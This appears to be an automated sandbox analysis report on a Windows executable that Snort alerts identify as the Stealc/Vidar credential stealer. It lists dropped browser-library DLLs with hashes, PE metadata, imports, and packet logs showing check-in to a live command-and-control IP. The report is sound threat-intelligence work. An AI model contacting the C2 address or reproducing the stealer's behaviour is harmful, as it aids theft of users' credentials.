Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1815519
Entropy (8bit):	6.634812314798213
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzo:J7Tf8J1Q+q
MD5:	7D191EE364B1851D2E42F34E609B9C20
SHA1:	8D2396AF483E19522D500984908F854D61A04A44
SHA-256:	724F186341F020B14781246C5CEB26962C18D322F4C96439EFA7BBE28D151DE7
SHA-512:	A1BC8DCDB1E64C000134440B122B898549B46C1F2E928C4DCC073AC3E04FD7B3D9375A7A87E900238749BFABDC17E1E4C7CF6644F1F37853D3696CB04C9ED78E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.558106649929844
Encrypted:	false
SSDEEP:	768:lK+3U7KL+LAPRycNr1gyIjFxv5ePM5et/jw1UgS05/w7uxgczc74BuRJNd6NRJ3M:lw2886xv555et/MCsjw0BuRK3jteoe
MD5:	ABE1198FEA554BA7456D12709E9C788D
SHA1:	1DE434DCFA780C88A75EC3502A9CE6363D05943B
SHA-256:	1776DF92E6C198A7360F1EB13ECAD1630DFA0655CB9E52C086EFB9503277C9F6
SHA-512:	1A531FA1CD3EDD1C78B8655A2E2FA9A183E2196141F56ED2C398C1FD6E1BDF39DD572AEEFD9FD211158A32311F7B0484085A7DEA5FB749895D00C08EA20BA9D6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1815519
Entropy (8bit):	6.634812314798213
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzo:J7Tf8J1Q+q
MD5:	7D191EE364B1851D2E42F34E609B9C20
SHA1:	8D2396AF483E19522D500984908F854D61A04A44
SHA-256:	724F186341F020B14781246C5CEB26962C18D322F4C96439EFA7BBE28D151DE7
SHA-512:	A1BC8DCDB1E64C000134440B122B898549B46C1F2E928C4DCC073AC3E04FD7B3D9375A7A87E900238749BFABDC17E1E4C7CF6644F1F37853D3696CB04C9ED78E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\FFAk2gixx5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	6.558106649929844
Encrypted:	false
SSDEEP:	768:lK+3U7KL+LAPRycNr1gyIjFxv5ePM5et/jw1UgS05/w7uxgczc74BuRJNd6NRJ3M:lw2886xv555et/MCsjw0BuRK3jteoe
MD5:	ABE1198FEA554BA7456D12709E9C788D
SHA1:	1DE434DCFA780C88A75EC3502A9CE6363D05943B
SHA-256:	1776DF92E6C198A7360F1EB13ECAD1630DFA0655CB9E52C086EFB9503277C9F6
SHA-512:	1A531FA1CD3EDD1C78B8655A2E2FA9A183E2196141F56ED2C398C1FD6E1BDF39DD572AEEFD9FD211158A32311F7B0484085A7DEA5FB749895D00C08EA20BA9D6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.920409946909827
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FFAk2gixx5.exe
File size:	296'960 bytes
MD5:	14cd6d9cbad80b0e4076212bf7ad937f
SHA1:	6f553fad2fd973d52dec55582490eb8c3a35b6e1
SHA256:	1738d5ec9cf4a62d3bebdb8690d208dc4e9bb957ba427233920a2195b04bb52e
SHA512:	ca8e1d03dec6ec41eba8b169ef3ce70a1f0acde0c0a9592d99f0d0013577647826a1711ef923b19bb00abc0a87cca240a042f3a237cec13ded5793519d7d56cf
SSDEEP:	3072:89dR4sFy2KJnd64kX/qCdx7Hto4r7uYl4HN+5BOlmXvg1T/dO:89dR4I58ndnkXiCpTeYl4HNyO8XYt/w
TLSH:	9F549E002590E823DF964771591DCEE0662FBC618BF4929E7214379F29B31A2712EB7F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........x2...a...a...a...a...a...a...a...a...a.dma...a...a...a...a...a...a...a...a...aRich...a........PE..L...320d...................

File Icon


Icon Hash:	1321252d29170f17

Static PE Info

General

Entrypoint:	0x401604
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64303233 [Fri Apr 7 15:09:39 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be37cfa8808e82b62b6ce7f603a1d7f3

Entrypoint Preview

Instruction
call 00007FD2917FD7C8h
jmp 00007FD2917F9D2Dh
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FD2917F9ED6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FD2917F9F00h
test ecx, 00000003h
jne 00007FD2917F9EA1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FD2917F9E9Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FD2917F9EE4h
test ah, ah
je 00007FD2917F9ED6h
test eax, 00FF0000h
je 00007FD2917F9EC5h
test eax, FF000000h
je 00007FD2917F9EB4h
jmp 00007FD2917F9E7Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040C204h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FD2917F9EBEh
test byte ptr [eax], 00000008h
je 00007FD2917F9EB9h
mov dword ptr [ebp-0Ch], 00000000h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2efcc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26ee000	0x17a00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa7b3	0xa800	a348b7fef0847937bda16a227a110ac4	False	0.6162574404761905	data	6.584458478900951	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x238ca	0x23a00	63652be27cb3906220238ec6760801ed	False	0.6058799342105263	data	5.920319471747451	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x26bd33c	0x2800	e97657bf7ad1ab2806f27164f93ba97d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x26ee000	0x17a00	0x17a00	a862c21bfacd8f779ede71e4ac914e7e	False	0.43974247685185186	data	5.043845287134813	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
GABUWOCEMOXOXATAZIWIV	0x2701040	0x476	ASCII text, with very long lines (1142), with no line terminators	Turkish	Turkey	0.626970227670753
RT_CURSOR	0x27014d8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.31023454157782515
RT_CURSOR	0x2702398	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.7368421052631579
RT_CURSOR	0x27024c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.06130705394190871
RT_ICON	0x26ee850	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.4157782515991471
RT_ICON	0x26ef6f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5365523465703971
RT_ICON	0x26effa0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6054147465437788
RT_ICON	0x26f0668	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6575144508670521
RT_ICON	0x26f0bd0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.49336099585062243
RT_ICON	0x26f3178	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Turkish	Turkey	0.5117260787992496
RT_ICON	0x26f4220	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5795081967213115
RT_ICON	0x26f4ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.6090425531914894
RT_ICON	0x26f5088	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.39632196162046907
RT_ICON	0x26f5f30	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.5185018050541517
RT_ICON	0x26f67d8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.581221198156682
RT_ICON	0x26f6ea0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6257225433526011
RT_ICON	0x26f7408	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.47313278008298754
RT_ICON	0x26f99b0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5278688524590164
RT_ICON	0x26fa338	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.5514184397163121
RT_ICON	0x26fa808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.43976545842217485
RT_ICON	0x26fb6b0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.5613718411552346
RT_ICON	0x26fbf58	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.597926267281106
RT_ICON	0x26fc620	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.6604046242774566
RT_ICON	0x26fcb88	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.3771784232365145
RT_ICON	0x26ff130	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.4022045028142589
RT_ICON	0x27001d8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.4266393442622951
RT_ICON	0x2700b60	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.4299645390070922
RT_STRING	0x2704c78	0x3f0	data			0.47023809523809523
RT_STRING	0x2705068	0xb6	data			0.5824175824175825
RT_STRING	0x2705120	0x682	data			0.42737094837935174
RT_STRING	0x27057a8	0x156	data			0.5263157894736842
RT_STRING	0x2705900	0xfe	data			0.5433070866141733
RT_ACCELERATOR	0x27014b8	0x20	data			1.09375
RT_GROUP_CURSOR	0x2702380	0x14	data			1.25
RT_GROUP_CURSOR	0x2704a70	0x22	data			1.088235294117647
RT_GROUP_ICON	0x26f5010	0x76	data	Turkish	Turkey	0.6610169491525424
RT_GROUP_ICON	0x26fa7a0	0x68	data	Turkish	Turkey	0.7019230769230769
RT_GROUP_ICON	0x2700fc8	0x76	data	Turkish	Turkey	0.6694915254237288
RT_VERSION	0x2704a98	0x1e0	data			0.5708333333333333

Imports

DLL

Import

KERNEL32.dll

GetCommState, SetDefaultCommConfigW, FreeEnvironmentStringsA, GetModuleHandleW, GetProcessHeap, GetConsoleAliasesLengthA, GetSystemTimes, GetVolumeInformationA, LoadLibraryW, IsBadCodePtr, GetConsoleAliasExesLengthW, lstrcpynW, GetModuleFileNameW, SetConsoleTitleA, SetCurrentDirectoryA, FindFirstFileExA, EnumCalendarInfoW, SetLastError, GetProcAddress, GetLongPathNameA, GetConsoleDisplayMode, SetFileAttributesA, BuildCommDCBW, SetFileApisToOEM, LoadLibraryA, WriteConsoleA, LocalAlloc, SetConsoleCtrlHandler, HeapWalk, FindAtomA, WaitForMultipleObjects, EnumDateFormatsW, GetSystemTime, GetCurrentDirectoryW, GetLocaleInfoA, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetLastError, HeapFree, Sleep, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, SetFilePointer, GetConsoleCP, GetConsoleMode, EnterCriticalSection, LeaveCriticalSection, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, VirtualAlloc, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, SetStdHandle, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, CreateFileA, CloseHandle, FlushFileBuffers

ADVAPI32.dll

ReadEventLogA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/06/24-02:52:39.695594	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49708	31.41.44.147	192.168.2.6
05/06/24-02:52:38.714464	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49707	80	192.168.2.6	31.41.44.147
05/06/24-02:52:39.070096	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49707	31.41.44.147	192.168.2.6
05/06/24-02:52:39.336133	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49708	80	192.168.2.6	31.41.44.147
05/06/24-02:52:38.047891	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49706	80	192.168.2.6	31.41.44.147

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 02:52:37.787518024 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.046910048 CEST	80	49706	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.047061920 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.047890902 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.351459026 CEST	80	49706	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.409950972 CEST	80	49706	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.410156012 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.411684036 CEST	80	49706	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.411755085 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.416929007 CEST	49706	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.436707020 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.676016092 CEST	80	49706	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.700299978 CEST	80	49707	31.41.44.147	192.168.2.6
May 6, 2024 02:52:38.700392008 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:38.714463949 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.019650936 CEST	80	49707	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.070096016 CEST	80	49707	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.070133924 CEST	80	49707	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.070174932 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.070200920 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.070417881 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.071690083 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.335900068 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.335971117 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.336133003 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.365117073 CEST	80	49707	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.365191936 CEST	49707	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.643443108 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.695594072 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.695687056 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.695741892 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.695802927 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.877302885 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.877357960 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.920216084 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.920231104 CEST	80	49708	31.41.44.147	192.168.2.6
May 6, 2024 02:52:39.920264959 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.920303106 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.920681953 CEST	49708	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:39.973120928 CEST	49709	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:40.184652090 CEST	80	49708	31.41.44.147	192.168.2.6
